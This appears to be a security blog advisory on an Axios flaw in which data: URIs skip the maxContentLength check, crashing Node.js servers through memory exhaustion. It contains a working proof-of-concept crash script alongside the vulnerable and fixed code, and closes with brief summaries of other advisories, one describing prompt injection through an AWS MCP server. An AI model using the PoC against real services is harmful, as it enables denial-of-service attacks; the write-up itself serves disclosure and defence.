Jan 16, 2026·5 min read·93 visits
Axios ignored `maxContentLength` when handling `data:` URIs. An attacker could supply a massive Base64 string in a URL, causing the server to synchronously allocate gigabytes of memory and crash via heap exhaustion.
A logic flaw in the popular Axios HTTP client allowed 'data:' URIs to bypass size limits, leading to instantaneous Out-of-Memory (OOM) crashes in Node.js applications.
If you build JavaScript applications, you know Axios. It is the de facto standard for making HTTP requests, sitting in the dependency trees of millions of projects. Its selling point has always been its "isomorphic" nature—write the code once, and it runs in both the browser and Node.js. To achieve this, Axios uses "adapters" to switch between the browser's XMLHttpRequest (or fetch) and Node's http module.
But here is the catch: Axios tries to be helpful. Too helpful. It doesn't just speak HTTP; it speaks protocols. It handles http://, https://, and unfortunately for us, data: URIs. The data: scheme allows you to embed small files directly inline as text. It is great for small icons or CSS tricks.
However, when a server-side application (like a web scraper, a proxy, or an image processor) accepts a URL from a user and passes it to Axios, it implicitly trusts Axios to handle the connection safely. Most developers set the maxContentLength configuration to prevent users from downloading terabyte-sized files and nuking the server. They assumed this safety belt applied to everything. They were wrong.
The vulnerability lies in a fundamental difference between how Axios handles network streams versus static data. When you fetch http://example.com/big-file.iso, Axios sets up a Node.js stream. As data packets arrive, Axios counts the bytes. If the total exceeds maxContentLength, it cuts the connection. The memory footprint remains low because the data is processed in chunks.
Enter the data: URI. This isn't a stream; it's a string. When the Axios http adapter sees data:text/plain;base64,..., it doesn't open a socket. Instead, it assumes it needs to decode that payload immediately to give you the data.
In versions prior to 1.12.0, the code path for data: URIs completely ignored the maxContentLength check during the allocation phase. It saw the string, said "I need to turn this Base64 into a Buffer," and immediately requested a contiguous block of memory from the V8 engine. There was no "streaming," no "checking," just an immediate, synchronous attempt to gulp down the entire payload.
Let's look at the crime scene in lib/adapters/http.js. The vulnerable code was deceptively simple. It essentially performed a blind allocation based on the input URL:
// Vulnerable Logic (Simplified)
if (protocol === 'data:') {
// 1. Extract the Base64 payload
const payload = url.split(',')[1];
// 2. Decode immediately into memory
// NO CHECK for maxContentLength here!
const responseData = Buffer.from(payload, 'base64');
// 3. Return response
settle(resolve, reject, { data: responseData, ... });
}This is a classic "Look Before You Leap" failure. The code leaps (allocates) before it looks (checks size). If an attacker sends a 2GB Base64 string, Buffer.from attempts to allocate 1.5GB of raw RAM instantly. In Node.js, where the default heap limit is often around 2GB, this is fatal.
The fix (Commit 945435f) introduces a precautionary step. Before allocating, it calculates how big the buffer would be:
// The Fix
if (config.maxContentLength > -1) {
// Calculate size WITHOUT allocating
const estimated = estimateDataURLDecodedBytes(url);
if (estimated > config.maxContentLength) {
throw new AxiosError('maxContentLength exceeded...');
}
}
// Safe to allocate nowThis new helper function counts characters and subtracts padding/metadata to predict the memory cost without actually paying it.
Exploiting this is trivially easy and requires no special tools—just a basic understanding of string multiplication. An attacker needs an endpoint that accepts a URL and passes it to Axios (e.g., a webhook validator, an avatar fetcher, or a link preview service).
Here is a lethal Proof-of-Concept that mimics a server accepting a user URL:
const axios = require('axios');
// 1. Generate a payload that exceeds the V8 heap
// 1GB of 'A's becomes ~1.3GB of Base64.
// Two or three requests like this will flatline the process.
const deathString = 'A'.repeat(1024 * 1024 * 500);
const b64 = Buffer.from(deathString).toString('base64');
const maliciousUrl = `data:text/plain;base64,${b64}`;
console.log(`[+] Launching payload length: ${maliciousUrl.length}`);
// 2. The Victim Server Logic
// Even with a strict 2KB limit, this crashes vulnerable versions.
axios.get(maliciousUrl, {
maxContentLength: 2000, // <--- This safety is IGNORED
timeout: 5000
}).catch(e => console.log("Caught:", e.message));When you run this against a vulnerable Axios instance, you won't get a nice error message. You will get:
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory.
The process dies immediately. If this is a single-threaded Node.js server without a cluster manager, your service just went dark.
This vulnerability is a high-severity Denial of Service (DoS). While it doesn't allow for Remote Code Execution (RCE) or data exfiltration, the availability impact is catastrophic for affected services.
Modern architectures heavily rely on microservices communicating via HTTP. If your service fetches external resources—like a bot that unfurls Slack links or a service that proxies images—it is vulnerable. Because the crash happens synchronously on the main thread, it blocks the event loop immediately before crashing.
Even with process managers like PM2 or Kubernetes restarting the pods, a sustained attack (a loop sending one request per second) can keep a service in a permanent crash loop, effectively knocking it offline for as long as the attacker wishes.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
axios axios | < 0.30.2 | 0.30.2 |
axios axios | >= 1.0.0, < 1.12.0 | 1.12.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 (Uncontrolled Resource Consumption) |
| Attack Vector | Network (Public API) |
| CVSS | 7.5 (High) |
| Impact | Denial of Service (OOM) |
| Platform | Node.js |
| Exploit Status | Trivial / PoC Available |
The software does not properly control the allocation of resources, enabling an attacker to cause a denial of service.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.